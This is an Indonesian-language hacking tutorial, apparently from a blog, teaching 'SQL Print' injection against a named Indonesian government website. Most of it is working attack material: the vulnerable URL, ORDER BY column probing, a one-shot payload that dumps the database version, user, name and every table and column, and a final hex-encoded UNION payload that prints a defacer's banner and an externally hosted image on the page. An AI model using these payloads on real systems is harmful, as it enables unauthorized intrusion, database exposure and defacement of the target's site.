Belajar Sql Print Nick + Gambar + Database

Assalamualaikum wr wb

Kali ini Saya mau kasih Tutor Sql Print :v.

Oke Langsung Saja SImak Tutorialnya

Cari Target Yang Mao Di Sql Print

Target : http://setjen.kemendagri.go.id/

Oke Pertama Yang Dilakukan adalah Mencari Bug

Ini Bug Nya :v . 

==>http://setjen.kemendagri.go.id/news_detail.php?id=.10

Pertama Di Kasih ' ea :v

==>http://setjen.kemendagri.go.id/news_detail.php?id=.10'

Setelah Itu Tambahkan +select+order+by+1--+- 

==>http://setjen.kemendagri.go.id/news_detail.php?id=-10'+select+order+by+1--+- Belom Eror

==>http://setjen.kemendagri.go.id/news_detail.php?id=-10'+select+order+by+2--+- Belom Eror

==>http://setjen.kemendagri.go.id/news_detail.php?id=-10'+select+order+by+3--+- Belom Eror

==>http://setjen.kemendagri.go.id/news_detail.php?id=-10'+select+order+by+4--+- Belom Eror

==>http://setjen.kemendagri.go.id/news_detail.php?id=-10'+select+order+by+5--+- Belom Eror

==>http://setjen.kemendagri.go.id/news_detail.php?id=-10'+select+order+by+6--+- Belom Eror

==>http://setjen.kemendagri.go.id/news_detail.php?id=-10'+select+order+by+7--+- Belom Eror

==>http://setjen.kemendagri.go.id/news_detail.php?id=-10'+select+order+by+8--+- Belom Eror

==>http://setjen.kemendagri.go.id/news_detail.php?id=-10'+select+order+by+9--+- EROR

Tinggal Kita Buat Query Nya Dah Di Sini Atau Di Sana

Buat Nya Pake Code Html ea
<center> <img src="http://www.thaicatclub.com/p.jpg" width="250" heigth="250"><br><font size="7" color="black">Inject By Tampansky</font><center>
Misal Seperti Itu Ea :v

Dios: ,Concat(,version(),%27<br>%27,user(),%27<br>%27,database(),(select(select%20concat(@:=0xa7,(select%20count(*)from(information_schema.columns)where(table_schema=database())and(@:=concat(@,%27<br>%27,%27<font%20color=green%20size=3>%27,table_name,%27</font>%20%27,%27%20%C2%A0::%20%C2%A0%27,%27<font%20color=blue%20size=3>%27,column_name))),@))))--+-

Nah Setelah Itu Tinggal Kita Gabungkan Query Ama Diosnya.

Dan Hasilnya Seperti Itu Ea :v

http://setjen.kemendagri.go.id/news_detail.php?id=.10%27+and+false+union+select+1,2,Concat+(0x3C63656E7465723E203C696D67207372633D22687474703A2F2F7777772E74686169636174636C75622E636F6D2F702E6A7067222077696474683D2232353022206865696774683D22323530223E3C62723E3C666F6E742073697A653D22372220636F6C6F723D22626C61636B223E496E6A6563742042792054616D70616E736B793C2F666F6E743E3C63656E7465723E,version(),%27%3Cbr%3E%27,user(),%27%3Cbr%3E%27,database(),(select(select%20concat(@:=0xa7,(select%20count(*)from(information_schema.columns)where(table_schema=database())and(@:=concat(@,%27%3Cbr%3E%27,%27%3Cfont%20color=green%20size=3%3E%27,table_name,%27%3C/font%3E%20%27,%27%20%C2%A0::%20%C2%A0%27,%27%3Cfont%20color=blue%20size=3%3E%27,column_name))),@)))),4,5,6,7,8--+-